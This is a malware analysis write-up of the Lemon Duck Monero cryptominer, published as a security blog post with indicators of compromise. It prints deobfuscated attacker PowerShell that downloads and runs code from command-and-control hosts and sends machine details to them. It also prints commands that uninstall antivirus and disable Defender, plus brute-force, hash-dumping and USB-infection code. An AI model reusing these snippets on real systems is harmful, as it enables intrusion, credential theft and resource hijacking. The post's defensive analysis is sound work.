# Lemon-Duck Cryptominer Technical Analysis

By Anonymous

Published: 2021-06-01 · Archived: 2026-04-05 13:39:20 UTC

This blog post was authored by Fareed.

## Summary

Lemon Duck is a crypto-mining malware that targets infected computer resources to mine Monero cryptocurrency. This malware has a lot of capabilities and runs its payload mostly in memory which makes its presence stealthy in infected machines. The fileless infection of the malware is mainly using PowerShell modules. Phishing emails with a malicious document, SMB Remote Code Execution Vulnerability (CVE-2017-0144), and brute-force attacks were used to conduct internal network spreading while a malicious document was used to infect external victims. They also leverage some open source tools like XMRig, PingCastle, PowerSploit to achieve their goals.

## Initial access

The infection of this crypto miner begin on the victim in many ways.

- Phishing email with Malicious document as an attachment
- SMB exploit
- RDP brute-force
- USB infection
- SSH brute-force
- Pass the hash
- MS-SQL brute-force
- Redis remote command
- Yarn remote command

Our Splunk detection team first detect a lot of suspicious communication were made to a domain name *t[.]bb3u9[.]com* as shown in below:

```
http://t.bb3u9.com/report.jsp?&redacted&redacted&redacted&7%20Professional%20_6.1.7600&1&redacted$redacted&H_R
```

Our threat analyst team investigate the URL and realized that the URL is appended a lot of computer information include Windows version, hostname, and many more, which in our case, the infected victim information.

Using VTGraph from VirusTotal, the domain was flagged as malicious by various security vendors. The domain also has communicated with a lot of malicious files which confirmed that the domain is malicious.

*Figure 1: VTGraph result of domain t[.]bb3u9[.]com*

Tracking and hunting down the domain and few indicators of initial access in Splunk, we found that the malware was spread through Pass the hash method.

## Which execution made the above request?

After conducting a malware analysis on the sample, we observed that the above-mentioned request was made after the execution of a persistence mechanism PowerShell from Scheduler Task. The below figure shows scheduler task was created by the malware.

*Figure 2: Lemon Duck's scheduler task in our Windows VM analysis*

The format version of the Powershell code as below:

```
 function a($u){
    $d=(Ne`w-Obj`ect Net.WebC`lient).DownloadData($u);
    $c=$d.count;
    if($c -gt 173){
        $b=$d[173..$c];
        $p=New-Object Security.Cryptography.RSAParameters;
        $p.Modulus=[convert]::FromBase64String('2mWo17uXvG1BXpmdgv8v/3NTmnNubHtV62fWrk4jPFI9wM3NN2vzTzticIYHlm7H
        $p.Exponent=0x01,0x00,0x01;
        $r=New-Object Security.Cryptography.RSACryptoServiceProvider;
        $r.ImportParameters($p);
        if($r.verifyData($b,(New-Object Security.Cryptography.SHA1CryptoServiceProvider),[convert]::FromBase64St
            I`ex(-join[char[]]$b)
        }}}
$url='http://'+'t.bb3'+'u9.com';
a($url+'/a.jsp?rep_20210521?'+(@($env:COMPUTERNAME,$env:USERNAME,(get-wmiobject Win32_ComputerSystemProduct).UUI
```

The above code will execute the final line of the code which will retrieve the content of a.jsp and invoke the content of a.jsp.

## First stager

But, one question that comes across in our mind is how the scheduler task was created?

Our analyst then tracks the malware behavior based on the malware sample analysis and found out that the first stager PowerShell script from the malware does these scheduler task creation things.

The following snippet decoded version of PowerShell code shows the full line of scheduler task payload is stored in variable *$tmps*.

```
 $tmps='function a($u){$d=(Ne`w-Obj`ect Net.WebC`lient)."DownloadData"($u);$c=$d.count;if($c -gt 173){$b=$d[173
<--snippet-->
if($sa){
         schtasks /create /ru system /sc MINUTE /mo 60 /tn "$tnf\$tn" /F /tr "powershell -w hidden -c PS_CMD"
} else {
         schtasks /create /sc MINUTE /mo 60 /tn "$tnf\$tn" /F /tr "powershell -w hidden -c PS_CMD"
}
<--snippet-->
try{
if($action.Arguments.Contains("PS_CMD")){
$folder.RegisterTask($task.Name, $task.Xml.replace("PS_CMD",$tmps.replace('U1',$u.substring(0,5)).replace('U2',$
}
```

The stager also drops WMI persistent mechanism.

```
 Set-WmiInstance -Class __EventFilter -NameSpace "root\subscription" -Arguments @{Name="blackball1";EventNameSpa
foreach($u in $us){
$theName=getRan
$wmicmd=$tmps.replace('U1',$u.substring(0,5)).replace('U2',$u.substring(5)).replace('a.jsp','aa.jsp')
Set-WmiInstance -Class __FilterToConsumerBinding -Namespace "root\subscription" -Arguments @{Filter=(Set-WmiInst
```

Other things to highlight for the first stager are few interesting functions like for example, Uninstall AV, Verify the current hostname has been infected or not, and deny access on ports 445 and 135.

The below snippet code shows the malware that uses the WMIC utility program to perform uninstallation of Anti Virus includes Eset, Avast, and many more.

```
 cmd.exe /c start /b wmic.exe product where "name like '%Eset%'" call uninstall /nointeractive
cmd.exe /c start /b wmic.exe product where "name like '%%Kaspersky%%'" call uninstall /nointeractive
cmd.exe /c start /b wmic.exe product where "name like '%avast%'" call uninstall /nointeractive
cmd.exe /c start /b wmic.exe product where "name like '%avp%'" call uninstall /nointeractive
cmd.exe /c start /b wmic.exe product where "name like '%Security%'" call uninstall /nointeractive
cmd.exe /c start /b wmic.exe product where "name like '%AntiVirus%'" call uninstall /nointeractive
cmd.exe /c start /b wmic.exe product where "name like '%Norton Security%'" call uninstall /nointeractive
cmd.exe /c "C:\Progra~1\Malwarebytes\Anti-Malware\unins000.exe" /verysilent /suppressmsgboxes /norestart
cmd.exe /c rem https://technet.microsoft.com/en-us/itpro/powershell/windows/defender/set-mppreference
cmd.exe /c rem To also disable Windows Defender Security Center include this
cmd.exe /c rem cmd.exe /c reg add "HKLM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t R
cmd.exe /c rem 1 - Disable Real-time protection
cmd.exe /c reg delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f
cmd.exe /c reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "
cmd.exe /c reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1"
cmd.exe /c reg add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d
```

The PowerShell code then will prepare a network environment such as deny access on ports 445 and 135 so that other malware can exploit SMB with the Eternal Blue exploit.

```
 cmd.exe /c netsh.exe firewall add portopening tcp 65529 SDNSd
netsh.exe interface portproxy add v4tov4 listenport=65529 connectaddress=1.1.1.1 connectport=53
netsh advfirewall firewall add rule name="deny445" dir=in protocol=tcp localport=445 action=block
netsh advfirewall firewall add rule name="deny135" dir=in protocol=tcp localport=135 action=block
```

So, after the first stager is executed, it will set up the environment for the malware such as removing AV, deny access on port SMB and drop the persistent mechanism. Once the persistent PowerShell payload is executed, the malware then will retrieve and invoke the PowerShell command in the JSP file a.jsp.

## Deobfuscating a.jsp

The content of a.jsp again was multi-encoded by the malware author.

```
 I`EX $(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream (,$(
<--snippet-->
6f5334f6bbfdfebfe4ce271fa5bfdb56dafc64fa71f5ac21564f3fbef3d1cf8cd3adad0bfae85b8ba7f5b73ebe337e71bc38fdde3d20b7f7
```

Using PowerShell ISE, we then decode the above-encoded code to analyze the clean version of the payload just like we did with the first stager. The deobfuscation progress is shown from figure 3 to 6:

*Figure 3: First version of decoded payload*

*Figure 4: Second version of decoded payload*

*Figure 5: Third version of decoded payload*

*Figure 6: Final and clean version of decoded payload*

After deobfuscation, the script becomes readable. We gonna highlight only important codes of the payload.

Collect information about the infected environment and store each of the values in variables.

```
 $down_url = "http://d.u78wjdu.com"
if(!$url){$url="http://t.bb3u9.com"}
$core_url = $url.split("/")[0..2]-join"/"
$permit = ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Se
$comp_name = $env:COMPUTERNAME
$guid = (get-wmiobject Win32_ComputerSystemProduct).UUID
$mac = (Get-WmiObject Win32_NetworkAdapterConfiguration | where {$_.ipenabled -EQ $true}).Macaddress | select-ob
$osb = (Get-WmiObject -class Win32_OperatingSystem)
$os = $osb.Caption.replace("Microsoft Windows ","")+"_"+$osb.Version
$user = $env:USERNAME
$domain = (Get-WmiObject win32_computersystem).Domain
$uptime = [timespan]::FromMilliseconds([environment]::TickCount)|foreach{$_.totalseconds}
$card = (Get-WmiObject Win32_VideoController).name
$cpu_per = "$((Get-WmiObject -Class Win32_Processor).LoadPercentage)"
gwmi Win32_PhysicalMemory | %{$msum = 0} { $msum += $_.Capacity };$mem=$msum/1Gb
```

The malware download and runs various payloads called m6.bin, m6g.bin, kr.bin, if.bin, and nvd.zip into the disk.

```
 function stp($gra){
    write-host $gra
         Start-Process -FilePath cmd.exe -ArgumentList "/c $gra"
}
function gcf($code,$md,$fn){
         ('echo '+$code+';$ifmd5='''+$md+''';$ifp=$env:tmp+''\'+$fn+''';$down_url='''+$down_url+''';function gmc
}
function gpa($fnam,$name){
         ('for($i=0;$i -lt $con.count-1;$i+=1){if($con[$i] -eq 0x0a){break}};i`ex(-join[char[]]$con[0..$i]);$bin
}
function gpb($name){
    'I`EX(-join[char[]]$con)|'+$name+' -'
}
function gcode($fl) {
         'try{$local'+$fl+'=$flase;New-Object Threading.Mutex($true,''Global\eLocal'+$fl+''',[ref]$local'+$fl+'')
}
$code1=gcode "If"
I`Ex $code1
if($localIf){
         stp ((gcf $code1 $ifmd5 $ifbin)+(gpb $rename))
}
if($is64){
         $code2=gcode "TMn"
         I`Ex $code2
         if($localTMn){
                  stp ((gcf $code2 $mmd5 $mbin)+(gpa $mbin $rename))
         }}
if(($isn -or $isa) -and $is64){
```

```
        $code3=gcode "TMng"
        I`Ex $code3
        if($localTMng){
                stp ((gcf $code3 $mgmd5 $mgbin)+(gpa $mgbin $rename))
        }}
$code4=gcode "Kr"
I`Ex $code4
if($localKr){
        stp ((gcf $code4 $krmd5 $krbin)+(gpb $rename))
}
```

Function SIEX act as communication for CnC function code. When communicating with the attacker, the script sends a long URL containing all the information gathered about the environment, uniquely identifying the infected machine.

```
 function SIEX {
        Param(
        [string]$url
        )
        try{
                $webclient = Ne`w-Obj`ect Net.WebC`lient
                $finalurl = "$url"+"?"+"$params"
                try{
                        $webclient.Headers.add("User-Agent","Lemon-Duck-"+$Lemon_Duck.replace('\','-'))
                } catch{}
                $res_bytes = $webclient.DownloadData($finalurl)
                if($res_bytes.count -gt 173){
                        $sign_bytes = $res_bytes[0..171];
                        $raw_bytes = $res_bytes[173..$res_bytes.count];
                        $rsaParams = New-Object System.Security.Cryptography.RSAParameters
                        $rsaParams.Modulus = 0xda,0x65,0xa8,0xd7,0xbb,0x97,0xbc,0x6d,0x41,0x5e,0x99,0x9d,0x82
                        $rsaParams.Exponent = 0x01,0x00,0x01
                        $rsa = New-Object -TypeName System.Security.Cryptography.RSACryptoServiceProvider;
                        $rsa.ImportParameters($rsaParams)
                        $base64 = -join([char[]]$sign_bytes)
                        $byteArray = [convert]::FromBase64String($base64)
                        $sha1 = New-Object System.Security.Cryptography.SHA1CryptoServiceProvider
                        if($rsa.verifyData($raw_bytes,$sha1,$byteArray)) {
                                IEX (-join[char[]]$raw_bytes)
                        }}
        } catch{}}
Start-Sleep -Seconds 3
SIEX "$core_url/report.jsp"
```

All downloaded payload were downloaded in the temp folder, which we can see on the figure below:

Figure 7: payloads downloaded in temp folder

## Analyzing if.bin

If.bin also has been obfuscated by the author.

Figure 8: Obfuscated script

We did the deobfuscation process and the script will be readable as shown in the figure below:

Figure 9: Deobfuscated script

Few important capabilities of the malicious files will explain below.

First, the code containing PingCastle module which being use for port scanning to detect machines the respond on port 445. Thus, this will then launch SMB exploit on that scanned port. Snippet code as below:

```
 namespace PingCastle.Scanners
{
         public class m17sc
         {
                  static public bool Scan(string computer)
                  {
                           TcpClient client = new TcpClient();
                           client.Connect(computer, 445);
                           try
                           {
                                    NetworkStream stream = client.GetStream();
                                    byte[] negotiatemessage = GetNegotiateMessage();
                                    stream.Write(negotiatemessage, 0, negotiatemessage.Length);
                                    stream.Flush();
                                    byte[] response = ReadSmbResponse(stream);
                                    if (!(response[8] == 0x72 && response[9] == 00)){
                                    throw new InvalidOperationException("invalid negotiate response");}
                                    byte[] sessionSetup = GetR(response);
<-- snippet -->
```

RDP brute-forcing module is included to perform RDP brute force capability.

```
 namespace RDP
{
    public class BRUTE
    {
                  private int flag1=-1;
                  private bool check_login;
                  private Process process;
                  public void exit(){
                           if(!process.HasExited){
                                    process.Kill();};
                           process.Close();}
        public int check(string exePath, string ip, string user, string pass, bool checklogin){
                           try{
                                    check_login = checklogin;
                                    process = new System.Diagnostics.Process();
                                    process.StartInfo.FileName = exePath;
                                    if(checklogin){
```

```
                                        process.StartInfo.Arguments = "/u:"+user+" /p:"+pass+" /cert-ignore
                                } else {
                                        process.StartInfo.Arguments = "/u:"+user+" /p:"+pass+" /cert-ignore
                                process.StartInfo.UseShellExecute = false;
                                process.StartInfo.CreateNoWindow = true;
                                process.StartInfo.RedirectStandardOutput = true;
                                process.Start();
                                process.BeginOutputReadLine();
                                process.OutputDataReceived += new DataReceivedEventHandler(processOutputData
                System.Threading.Timer timer = new System.Threading.Timer(autoQuite, null, 10000, 5000);
<-- snippet -->
```

Another infection method is via network drives and removable drives. It will create a .lnk file on these detected drives and execute the payload in the shortcut lnk.

```
 public class USBLNK
    {
        public static List blacklist = new List();
                  public static string gb3;
                  public static string gb6;
                  public static string jsdata;
        const string home = "UTFsync";
        const string inf_data = "\\inf_data"
<-- snippet -->
                  static bool IsSupported(DriveInfo drive) { return drive.IsReady && drive.AvailableFreeSpace >
                  static bool CheckBlacklist(string name) { return name==home || name=="System Volume Informatic
                  static bool Infect(string drive)
        {
            if (blacklist.Contains(drive)) {return true;}
                        CreateLnk(drive, "blue3.bin", gb3);
                        CreateLnk(drive, "blue6.bin", gb6);
                        CreateJs(drive, "readme.js", jsdata);
            try{
                File.Create(drive + home + inf_data);
                return true;};
```

Powerdump module being used to dumps hashes from the local system

```
 ######################################powerdump written by David Kennedy#####################################
$antpassword = [Text.Encoding]::ASCII.GetBytes("NTPASSWORD0");
$almpassword = [Text.Encoding]::ASCII.GetBytes("LMPASSWORD0");
$empty_lm = [byte[]]@(0xaa,0xd3,0xb4,0x35,0xb5,0x14,0x04,0xee,0xaa,0xd3,0xb4,0x35,0xb5,0x14,0x04,0xee);
$empty_nt = [byte[]]@(0x31,0xd6,0xcf,0xe0,0xd1,0x6a,0xe9,0x31,0xb7,0x3c,0x59,0xd7,0xe0,0xc0,0x89,0xc0);
$odd_parity = @(
  1, 1, 2, 2, 4, 4, 7, 7, 8, 8, 11, 11, 13, 13, 14, 14,
  16, 16, 19, 19, 21, 21, 22, 22, 25, 25, 26, 26, 28, 28, 31, 31,
```

```
  32, 32, 35, 35, 37, 37, 38, 38, 41, 41, 42, 42, 44, 44, 47, 47,
  49, 49, 50, 50, 52, 52, 55, 55, 56, 56, 59, 59, 61, 61, 62, 62,
  64, 64, 67, 67, 69, 69, 70, 70, 73, 73, 74, 74, 76, 76, 79, 79,
  81, 81, 82, 82, 84, 84, 87, 87, 88, 88, 91, 91, 93, 93, 94, 94,
  97, 97, 98, 98,100,100,103,103,104,104,107,107,109,109,110,110,
  112,112,115,115,117,117,118,118,121,121,122,122,124,124,127,127,
  <-- snippet -->
```

The script trying to get mimi.dat file which contain mimikatz payload.

```
 $mimipath = $env:tmp+'\mimi.dat'
$d_retry=3
while(!(Test-Path $mimipath) -or (Get-Item $mimipath).length -ne 3563487){
         if($d_retry -eq 0){break}
         write-host "try to get mimi..."
         try{(new-object System.Net.WebClient).DownloadFile($down_url+"/mimi.dat?v=$VVERSION&r=$d_retry",$mimipa
         $d_retry--
         start-sleep 3
}
<-- snippet -->
```

Another capability to highlight is MS-SQL brute-forcing code. It will attempt to brute force MS-SQL to gain access.

```
 write-host "start mssql port open scanning..."
$ms_portopen = localscan -port 1433 -addresses $ipaddresses[$i..($i+$tcount-1)]
$old_portopen = localscan -port 65529 -addresses $ms_portopen[1]
foreach($currip in $ms_portopen[1]) {
         if (($old_portopen[1] -notcontains $currip) -and ($currip.length -gt 6)){
                  write-host "start mssql burping...$currip"
                  for($n=0; $n -lt $allpass.count; $n++){
                           $flag=$false
                           write-host("Try pass: "+$allpass[$n])
                           $flag,$banner = (mssqlrun -ip $currip -pass $allpass[$n] -cmd $mscmd_code -cmd1 $mscm
                           if($flag) {
                                    try{(New-Object Net.WebClient).DownloadString($down_url+'/report.json?v='+$V
                                             break}
 <-- snippet -->
```

Same goes to SSH bruteforce as shown below:

```
 write-host "start ssh port open scanning..."
$ssh_portopen = localscan -port 22 -addresses $ipaddresses[$i..($i+$tcount-1)]
$old_portopen = localscan -port 65529 -addresses $ssh_portopen[1]
foreach($currip in $ssh_portopen[1]) {
```

```
        if (($old_portopen[1] -notcontains $currip) -and ($currip.length -gt 6)){
                write-host "start ssh burping...$currip"
                foreach($password in $allpass){
                        write-host "Try pass:$password"
                        $flag1 = -1
                        $flag1 = sshbrute $currip "root" $password $ssh_code
                        if($flag1 -eq 1){
                        write-host "SUCC!!"
                        try{(New-Object Net.WebClient).DownloadString($down_url+'/report.json?v='+$VVERSION+'
                                break
<-- snippet -->
```

## m6.bin

m6.bin is the executable that uses for the crypto miner. From the below-executed executable, the version of XMRig is 6.3.0.

Figure 10: XMRig

## Conclusion

The malware is very stealthy as they leverage fileless execution on most of their payloads. The malware tends to infect and spread as many systems as possible as they implement multiple methods like brute force and exploit. Observing these malware trends shows that the malware author often changes the CnC infrastructure IP address and improves their malware capabilities. Thus, makes more system as their victims.

## Indicator of Compromise

### Hashes

- if.bin 8c4fba3df81475d075c535deae2cd373
- kr.bin c95f97fccb0bd80fa524cf2bfb0390a8
- m6.exe 4094140d07826334c345f8dc392d8fe3
- mimi.dat a66953b8a3eeee7d5057ddf80b8be962

### DNS request

- t.bb3u9.com
- t.pp6r1.com
- p.b69kq.com
- d.u78wjdu.com

### IP connections

- 138.68.251.24
- 138.68.186.90
- 88.214.207.96
- 45.63.34.251
- 138.68.183.180
- 176.58.99.231

## Extra (Deobfucation)

Shout out to our internship students who managed to deobfuscate the obfuscated Powershell. Below is the links of their write-ups:

1. (shauqi): https://nightfury99.github.io/Malware-Deobfuscate/
2. (Iqbal): https://mhdiqb-malware-analysis.blogspot.com/2021/06/exploits-analysis-jsp-code-was-and-code.html
3. (malik): https://almalikzakwan.github.io/Lemon-DuckAnalysis/
4. ( Rosa): https://bobalattew.github.io/How-to-deobfuscate-malware-using-Powershell/
5. (Taqi): https://github.com/tx-qi/mail.jsp-writeup

6. (Izzat): https://github.com/Izzathajar/malware-diobfuscated/tree/gh-pages
7. (Aina): https://hello-world9.github.io/fileless-attack-analysis/
8. (Nadzirah): https://nadzirahmdisa.blogspot.com/2021/06/in-memory-attack-writeup.html

---